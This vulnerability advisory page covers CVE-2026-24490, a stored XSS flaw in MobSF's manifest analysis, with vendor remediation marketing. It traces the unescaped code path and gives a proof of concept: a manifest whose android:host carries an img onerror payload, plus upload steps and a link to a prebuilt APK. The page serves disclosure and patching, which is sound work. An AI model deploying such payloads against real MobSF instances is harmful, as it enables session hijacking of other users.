CVE-2026-24490 is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in mobsf. A fix is available for mobsf — see the affected versions and patch details below.
MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24490.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-24490 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
mobsfReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.
Details
When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.
Vulnerable Code Path
1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):
'title': a_template['title'] % t_name, # XSS payload inserted here unescaped
3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):
'dialer_code_found': {
'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
...
}
4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):
{{item|key:"title" | safe}}
The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.
PoC
Step 1: Create Malicious APK
Create an APK with the following AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.poc.xsstest"
android:versionCode="1"
android:versionName="1.0">
<application android:label="XSS PoC Test">
<receiver android:name=".SecretCodeReceiver" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SECRET_CODE"/>
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
</intent-filter>
</receiver>
</application>
</manifest>
Step 2: Build the APK
Use apktool or Android build tools to create a valid APK with this manifest.
Step 3: Upload to MobSF
Upload the malicious APK to MobSF for static analysis.
Step 4: Trigger XSS
View the static analysis report in a browser. The JavaScript payload executes automatically.
Confirmed HTML Output
<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>
PoC APK Details
| Field | Value |
|---|---|
| Filename | POC_XSS_APK.apk |
| MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b |
| Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |
Impact
This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.
Attack Scenario
- Attacker crafts a malicious APK with XSS payload in the manifest
- Attacker submits APK to a shared MobSF instance or private mobsf instance.
- When any user views the analysis report, the XSS payload executes in their browser
Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/
<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mobsf | all versions | 4.4.5pip install --upgrade 'mobsf==4.4.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mobsf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mobsf to 4.4.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24490 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24490 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-24490. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-24490 in your dependencies?
O3 Security finds CVE-2026-24490 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.